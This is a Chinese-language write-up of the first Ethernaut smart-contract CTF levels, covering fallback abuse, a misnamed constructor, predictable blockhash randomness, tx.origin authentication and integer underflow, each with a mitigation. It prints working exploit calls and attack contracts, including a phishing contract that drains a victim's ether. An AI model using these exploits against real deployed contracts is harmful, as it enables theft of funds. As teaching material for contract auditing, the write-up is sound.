前言

Ethernaut 是由 Zeppelin 开发并维护的一个平台,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们,目前已有 19 个挑战。平台网址:https://ethernaut.zeppelin.solutions/

完成该项挑战需要一定的 solidity 语言基础,以及一点的 javascript 语法基础。如果对区块链没有任何基础,推荐根据教程快速学习 solidity 语法,比如 CryptoZombies 等。

以及进行挑战需要安装 metamask,一款开源的以太坊钱包,尚未安装的话可以参考网上教程进行安装,这里不再赘述。另一个需要注意的是由于题目都部署在 Ropsten Test Network 上,所以记得去领取测试网络上免费发放的 ether,要不然连题都做不了 ( ̄_ ̄|||)

Hello Ethernaut - 快速入门

让玩家简单熟悉关卡挑战的模式,以及执行操作的方式,根据其介绍的一步步进行操作即可通过本关。

操作如图:

Fallback - 回退函数

首先简单介绍 fallback 函数的作用:

合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable

然后我们看题目的源码:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

很明显该函数就是 fallback 函数:

function() payable public {
  require(msg.value > 0 && contributions[msg.sender] > 0);
  owner = msg.sender;
}

结合题目的要求:

  1. you claim ownership of the contract
  2. you reduce its balance to 0

很明显我们如果通过反复调用 contribute 来触发 owner 不现实,因为我们每次最多向合约贡献不大于 0.001 ether,而要超过 owner 需要 1000 ether(构造函数赋予 owner 的)。但我们惊喜地发现 fallback 函数同样可以改变 owner 的值,那么对应的操作就非常清晰了:

  1. 调用合约的 contribute 使得合约中我们账户对应的 balance 大于 0
  2. 触发 fallback 函数使得合约对应的 owner 变成我们
  3. 调用 withdraw 函数清空 balance
// step 1
await contract.contribute({value: 1});
// step 2,使用 sendTransaction 函数触发 fallback 函数执行
await contract.sendTransaction({value: 1});
// step 3
await contract.withdraw();
// 此时调用 owner 函数可以确认合约的 owner 是否已经变成了我们所对应的地址了
await contract.owner();

不得不说的是在智能合约相关的安全漏洞中,有很大一部分都与合约实例的回退函数有关,比如经典的 Reentrancy(重入) 漏洞,这个我们在后续的分析中再接着讨论。

Fallout - 构造函数失控

第二题的要求和第一题一样:Claim ownership of the contract below to complete this level,本题给了一个提示:Solidity Remix IDE

根据题目建议把题目源码贴到 IDE 上:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

在编辑器或者 IDE 中我们可以发现一个很明显的问题,理论上应该写成 Fallout 的构造函数被写成了 Fal1out,那么该函数就不是构造函数,意味着该函数可以被我们调用(我们无法调用构造函数)。那么这道题就变得非常简单了:

// 调用该函数,修改 owner
await contract.Fal1out();
// 可以确认是否修改成功
await contract.owner();

题目到这里就结束了,本题的漏洞也非常之明显,一个很简单的编程 Bug,但是不是意味着完全没有任何的参考价值呢?当然不是,之所以有这道题目,背后是有故事的:

ETH 圈的某家公司将公司名从 Dynamic Pyramid 改为了 Rubixi,但他们只修改了合约的名字而忘记修改构造函数的名字,结果就恰好发生了像本题所示的情况:所有人都能调用失控的构造函数!然后大家就开始了愉快的抢 owner 游戏(笑

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...
}

幸好在 solidity 0.4.22 版本的编译器中已经基本解决了该问题,该版本引入了关键词 constructor 来指定构造函数,而不是之前版本的函数的名称与合约名称匹配,所以就不会发生只修改合约名但忘记修改构造函数名这种奇怪的情况了。

Coin Flip - 不安全的随机数

本题的要求是猜对 10 次硬币(10 次 0 或 1),可以看到代码如下:

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

可以看到函数的随机数产生逻辑如下:

  1. 获得上一块的 hash 值
  2. 判断与之前保存的 hash 值是否相等,相等则回退
  3. 根据 blockValue / FACTOR 的值判断为正或负,即通过 hash 的首位判断

所以我们可以看到我们每次产生的随机数只与当前块的前一块的 hash 值有关,而这可以近似看成随机的。但这是不是意味着我们无法预测呢?当然不是,我们同样可以得到题目用来计算随机数的所有信息(block.numberblock.blockhash(xxx) 等),所以我们也可以得到相应的随机数具体是多少。唯一的问题在于以太坊 10s 左右产生一个 block,所以我们用手动调用的方式可能来不及,所以需要编写合约进行调用:

pragma solidity ^0.4.18;

contract CoinFlip {
    function flip(bool _guess) public returns (bool);
}

contract CoinFlipHack {
    CoinFlip coinflip;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function CoinFlipHack(address _addr) public {
        coinflip = CoinFlip(_addr);
    }

    function hack() public returns (bool) {
        uint256 blockValue = uint256(block.blockhash(block.number-1));

        if (lastHash == blockValue) {
          revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return coinflip.flip(side);
    }
}

如果对如何在 remix 上部署合约不熟悉,可以再去 Google 一下(逃

下面回来再看本题暴露的问题:以太坊中不安全的随机数。以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。Arseny Reutov 所写的一篇博文仔细讨论了用区块变量作为熵源的缺陷:Predicting Random Numbers in Ethereum Smart Contracts

解决该问题可选的方案有 RANDAOOraclize 等,以去中心化的方式或是与外界互联网交互的方式得到安全的随机数。

Telephone - 区分 tx.originmsg.sender

首先我们来看题目要求:获得合约的所属权。

来看一下代码中对合约所属权的操作:

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

可以看到代码很简单,只要满足 tx.origin != msg.sender 即可触发 owner 的修改。但在不了解的人看来,这两个变量在很多情况下是等价的(比如我)。但既然题目的考点存在,这二者必然存在着较大的不同。

我们可以看一下 solidity 文档对 tx.origin 以及 msg.sender 的定义:

虽然在某些情况下 msg.sendertx.origin,但二者并非完全等价。msg.sender 是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。所以如果存在用户通过合约 A 调用合约 B,那么对应合约 B 而言,msg.sender 是合约 A 地址,但 tx.origin 是用户的账户地址,如下图所示:

所以我们可以通过编写智能合约的方式来满足题目要求的条件:

我们编写了合约 TelephoneHack ,在该合约的 changeOwner 函数中,会调用 Telephone 合约的 changeOwner 函数。然后用户手动调用 TelephoneHackchangeOwner 函数,即可触发上述条件。

在完成挑战后,题目提醒我们需要注意的是 tx.originmsg.sender 的区别,否则可能出现利用将 tx.origin 用作身份验证的智能合约进行钓鱼式攻击的问题。

如果存在合约如下,它使用了 tx.origin 作为校验的依据:

pragma solidity ^0.4.18;

contract TxOriginVictim {
  address owner;
  function TxOriginVictim() {
    owner = msg.sender;
  }
  function transferTo(address to, uint amount) public {
    require(tx.origin == owner);
    to.call.value(amount)();
  }
  function() payable public {}
}

那么攻击者可以尝试构造以下合约:

pragma solidity ^0.4.18;

interface TxOriginVictim {
  function transferTo(address to, uint amount);
}

contract TxOriginAttacker {
  address owner;
  function TxOriginAttacker() public {
    owner = msg.sender;
  }
  function getOwner() public returns (address) {
    return owner;
  }
  function() payable public {
    TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
  }
}

然后攻击者只要以某种方式(比如钓鱼)说服 TxOriginVictim 合约的拥有者向该合约发送一定的 ETH 以触发 fallback 函数,由于该函数又会调用 TxOriginVictim 合约的 transferTo 函数,此时函数中的 tx.origin==owner 条件满足,合约会向攻击者转走所有资金。钓鱼攻击,成功√

解决该问题的方式很简单,我们需要慎重考虑使用 tx.origin 的问题,但不排除其正常的使用方式,比如通过 require(tx.origin == msg.sender) 限制外部合约对内部合约的调用。

Token - 整数下溢

上来先看题目要求,我们初始状态时有 20 tokens,然后我们需要想办法让 tokens 增长到超过 20,简单说就是“开局 20 刀,发财全靠搞”(误

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

看完源码之后内心一凉,我们唯二的两个函数,一个是向别人转 token,一个是看自己还剩多少 token,根本没有任何办法给自己账户增加余额。。

当然办法还是有的,我们可以看到题目中所有和 token 的变量,都是 uint 类型的,根据定义,int / uint 分别表示有符号和无符号的不同位数的整型变量,所以我们所有的减法操作都是无符号整数的减法操作,这就带来了一个很明显的问题:整数下溢。

在 solidity 中 uint 默认为 256 位无符整型,可表示范围 [0, 2**256-1],在上面的代码中通过直接做减法的方式来进行操作,会使得结果可能由于整数下溢而大于 0(示意图如下):

那么我们的方法就很简单了,想办法在 transfer 函数中触发整数下溢,具体操作如下:

// 转给谁不重要,关键是利用 20-21 触发整数下溢
await contract.transfer(0, 21);
// 可以看一下自己现在的 token 有多少(非常之多)
await contract.balanceOf(player);
/* output
t {s: 1, e: 77, c: Array(6)}
c: (6) [11579208, 92373161954235, 70985008687907, 85326998466564, 5640394575840, 7913129639914]
e: 77
s: 1
__proto__: Object
*/

虽然整数溢出问题非常简单,但是因此引发的区块链安全问题不是少数,比如"一行代码蒸发六十亿""代币变泡沫,以太坊Hexagon溢出漏洞",开发者对整数溢出漏洞的忽视最终将导致惨痛的后果。

但也并非没有办法来处理该问题,最简单的处理是在每一次数学运算时进行判断,如 a=a+b;,就可以写成 if(a+b>a) a=a+b;。题目建议的另一种解决方案则是使用 OpenZeppelin 团队开发的 SafeMath 库,如果整数溢出漏洞发生时,函数将进行回退操作,此时加法操作可以写作这样:a=a.add(b);

参考文章

  1. 以太坊智能合约漏洞利用实战writeup
  2. 从Ethernaut学习智能合约审计(一)
  3. Solidity 中文文档
  4. 以太坊智能合约安全入门了解一下(上)
  5. 以太坊智能合约安全入门了解一下(下)
  6. 干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-1:可重入漏洞、算法上下溢出
  7. 干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-3:默认可见性、随机数误区
  8. 干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-7:构造函数失控、未初始化的存储指针
  9. 干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-8:浮点和精度、Tx.Origin 用作身份验证

写在最后

萌新刚刚入门区块链,如果发现错误,希望各位大佬不吝批评指正 ⧸⎩⎠⎞͏(・∀・)⎛͏⎝⎭⧹

源链接

Hacking more

...